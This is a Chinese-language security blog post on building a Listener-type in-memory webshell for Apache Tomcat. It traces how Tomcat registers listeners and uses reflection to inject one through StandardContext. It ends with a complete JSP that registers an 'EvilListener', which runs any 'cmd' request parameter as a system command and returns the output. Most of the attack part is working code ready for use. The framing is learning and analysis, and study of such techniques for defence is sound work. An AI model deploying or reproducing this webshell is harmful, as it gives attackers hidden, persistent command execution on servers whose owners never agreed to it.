前言
Listener型内存马分析起来比Filter型的要简单很多,在监听到请求后自动触发。学习了JavaWeb后再来看这些其实都并不难。
此文展示了我在不借助网上的Listener内存马资料下完成Listener内存马构造的过程。
环境搭建
首先创建一个servlet项目。引入Tomcat中的servlet-api.jar、tomcat-api.jar及catalina.jar
内存马流程分析
listener类型
学过servlet的话应该知道,listener分为以下类型:
- ServletRequestListener - 对每次请求进行监听
- ServletContextListener -只会在服务器启动或者关闭时触发
- ServletSessionListener - 在创建、销毁session登情况触发。
显而易见,我们选择使用ServletRequestListener类型的listener比较合适,因为其可以监听每次request的执行与销毁;
探究listener的注册与执行
接下来,我们随意创建一个TestListener
1 2 3 4 5 6 7 8 9 10 11 12 13
| import javax.servlet.ServletRequestEvent; import javax.servlet.ServletRequestListener;
public class TestListener implements ServletRequestListener { @Override public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
} @Override public void requestInitialized(ServletRequestEvent servletRequestEvent) { System.out.println("evil code"); } }
|
将他加入web.xml
现在来探究一个正常的Listener被执行的流程
在Class被创建的地方下个断点,再在代码执行的地方下个断点。
发现了关键的地方 listenerStart()
继续跟进findApplicationListeners()
1 2 3
| public String[] findApplicationListeners() { return this.applicationListeners; }
|
由此可见,如果我们修改了StandardContext
的applicationListeners
属性,就可以让我们自己构造的恶意Listener加载进去。
那么怎么能够获取到StandardContext
呢?
这里可能要一些前置知识:每一个项目都有一个ServletContext, ServletContext是全局共享的,也就是说所有的Servlet都可以访问这一个ServletContext,而ServletContext中往往保存上下文内可以访问的其他servlet的属性
那么StandardContext
可能就在ServletContext
中,而我们可以通过request来获取到ServletContext。
我们在自己创建的HomeServlet中获取ServletContext并下个断点,重新运行看看
获取后发现,servletContext中有一个applicationContext,其中包含了StandardContext,我们可以通过这里获取。
手动注册内存马
那么我们可以用反射的方式来获取到StandardContext
Tomcat在处理jsp页面的时候,实际上创建一个servlet,并把jsp中的代码翻译生成到该servlet中,因此我们下面的演示直接在自己创建的HomeServlet.java
中执行
1 2 3 4 5 6 7
| ServletContext servletContext = request.getServletContext(); Field stdFiled=servletContext.getClass().getDeclaredField("context"); stdFiled.setAccessible(true); ApplicationContext aplContext = (ApplicationContext) stdFiled.get(servletContext); Field standardFld = aplContext.getClass().getDeclaredField("context"); standardFld.setAccessible(true); StandardContext standardContext = (StandardContext) standardFld.get(aplContext);
|
接下来我们依然要用反射的方式获取到其applicationListeners
属性,并将我们的恶意Listener放在最前面
1 2
| List<Object> applicationEventListeners = Arrays.asList(standardContext.getApplicationEventListeners()); applicationEventListeners.add(0,new TestListener());
|
到这里报错了
看起来是add方法出了问题。
Array内部的ArrayList没有重写AbstractList的add(xxx),导致我们上诉代码调用的add(xxx)其实是直接调用AbstractList类的add(xxx),所以直接抛出了异常UnsupportedOperationException。
那么直接换成ArrayList即可
1 2 3
| List<Object> applicationEventListeners = Arrays.asList(standardContext.getApplicationEventListeners()); List<Object> arrayList = new ArrayList(applicationEventListeners); arrayList.add(0,new TestListener());
|
最后将新建的arrayList重新赋值给applicationEventListeners
,恰好有个这样的方法
1
| standardContext.setApplicationEventListeners(arrayList.toArray());
|
整个注册内存马的过程:
1 2 3 4 5 6 7 8 9 10 11 12
| ServletContext servletContext = request.getServletContext(); Field stdFiled=servletContext.getClass().getDeclaredField("context"); stdFiled.setAccessible(true); ApplicationContext aplContext = (ApplicationContext) stdFiled.get(servletContext); Field standardFld = aplContext.getClass().getDeclaredField("context"); standardFld.setAccessible(true); StandardContext standardContext = (StandardContext) standardFld.get(aplContext);
List<Object> applicationEventListeners = Arrays.asList(standardContext.getApplicationEventListeners()); List<Object> arrayList = new ArrayList(applicationEventListeners); arrayList.add(0,new TestListener()); standardContext.setApplicationEventListeners(arrayList.toArray());
|
构造恶意内存马
构造内存马,直接把上面的注册过程写到jsp页面,然后在jsp页面写一个<%! 方法%>
就可以了。
需要注意的是,重写的ServletRequestListener
的类方法public void requestInitialized(ServletRequestEvent servletRequestEvent)
中,只有参数servletRequestEvent
,而没有response。 如果我们想使用内存马,最好是能够有回显。
在Request类中,我们可以得到response,而Request类是RequestFacade类中的属性
只要能够得到RequestFacade中的request属性,就能得到response object,所以我们直接用反射的方法来完成。
完整构造:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| <%@ page import="java.io.IOException" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.util.List" %> <%@ page import="java.util.Arrays" %> <%@ page import="java.util.ArrayList" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="org.apache.catalina.connector.RequestFacade" %> <%-- Created by IntelliJ IDEA. User: leihehe Date: 29/12/2021 Time: 15:52 To change this template use File | Settings | File Templates. --%> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%!
class EvilListener implements ServletRequestListener{
@Override public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}
@Override public void requestInitialized(ServletRequestEvent servletRequestEvent) { try { ServletRequest servletRequest = servletRequestEvent.getServletRequest(); String cmd = servletRequest.getParameter("cmd"); RequestFacade requestFacade = (RequestFacade) servletRequest; Field requestField = requestFacade.getClass().getDeclaredField("request"); requestField.setAccessible(true); Request request = (Request)requestField.get(requestFacade); InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); int i = 0; byte[] bytes = new byte[1024]; while ((i=inputStream.read(bytes)) != -1){ request.getResponse().getWriter().write(new String(bytes,0,i)); request.getResponse().getWriter().write("\r\n"); } } catch (IOException | NoSuchFieldException | IllegalAccessException e) { e.printStackTrace(); } } }
%>
<% ServletContext servletContext = request.getServletContext(); Field stdFiled=servletContext.getClass().getDeclaredField("context"); stdFiled.setAccessible(true); ApplicationContext aplContext = (ApplicationContext) stdFiled.get(servletContext); Field standardFld = aplContext.getClass().getDeclaredField("context"); standardFld.setAccessible(true); StandardContext standardContext = (StandardContext) standardFld.get(aplContext);
List<Object> applicationEventListeners = Arrays.asList(standardContext.getApplicationEventListeners()); List<Object> arrayList = new ArrayList(applicationEventListeners); arrayList.add(0,new EvilListener()); standardContext.setApplicationEventListeners(arrayList.toArray()); %>
|
Reference
调用list.add方法报错(java.lang.UnsupportedOperationException)